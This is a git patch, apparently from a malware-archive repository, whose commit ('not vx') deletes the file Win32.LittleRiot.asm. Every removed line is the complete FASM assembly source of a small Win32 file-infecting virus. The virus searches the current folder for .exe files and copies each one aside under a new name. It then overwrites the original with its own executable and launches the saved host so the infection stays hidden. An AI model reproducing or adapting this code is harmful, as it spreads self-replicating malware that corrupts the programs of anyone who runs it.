From cf62f2c609392f9bbd6cfb19c29d58a029777212 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Wed, 28 Oct 2020 23:24:33 -0500 Subject: [PATCH] Delete Win32.LittleRiot.asm not vx --- Win32/Win32.LittleRiot.asm | 54 -------------------------------------- 1 file changed, 54 deletions(-) delete mode 100644 Win32/Win32.LittleRiot.asm diff --git a/Win32/Win32.LittleRiot.asm b/Win32/Win32.LittleRiot.asm deleted file mode 100644 index d099072..0000000 --- a/Win32/Win32.LittleRiot.asm +++ /dev/null @@ -1,54 +0,0 @@ -include "%fasminc%\win32ax.inc" -LittleRiot: invoke GetCommandLine - mov ebx, eax - inc ebx - xor ecx, ecx -GetEndCmd: cmp byte [ebx], '"' - je HaveEndCmd - inc ebx - inc ecx - jmp GetEndCmd -HaveEndCmd: mov byte [ebx], 0 - sub ebx,ecx - push ebx - invoke FindFirstFile, ExeFiles, Win32FindData - mov dword [FindHandle], eax -FindMore: cmp eax, 0 - je ExecuteHost - mov ebx, Win32FindData.cFileName - call GetHostName - invoke CopyFile, Win32FindData.cFileName, HostName, 1 - cmp eax, 0 - je FindNextVictim - pop ebx - invoke CopyFile, ebx, Win32FindData.cFileName, 0 - push ebx -FindNextVictim: invoke FindNextFile, dword [FindHandle], Win32FindData - jmp FindMore -ExecuteHost: pop ebx - call GetHostName - invoke WinExec, HostName, SW_SHOWNORMAL - ret -GetHostName : cmp byte [ebx], 0 - je RenameHostName - inc ebx - jmp GetHostName -RenameHostName: sub ebx, 8 - mov esi, ebx - mov edi, HostName - mov ecx, 5 - rep movsb - ret -data import - library kernel32, "KERNEL32.DLL" - import kernel32,\ - GetCommandLine, "GetCommandLineA",\ - FindFirstFile, "FindFirstFileA",\ - FindNextFile, "FindNextFileA",\ - CopyFile, "CopyFileA",\ - WinExec, "WinExec" -end data - ExeFiles db "*.exe",0 - FindHandle dd ? - Win32FindData FINDDATA - HostName rb 6 \ No newline at end of file -- GitLab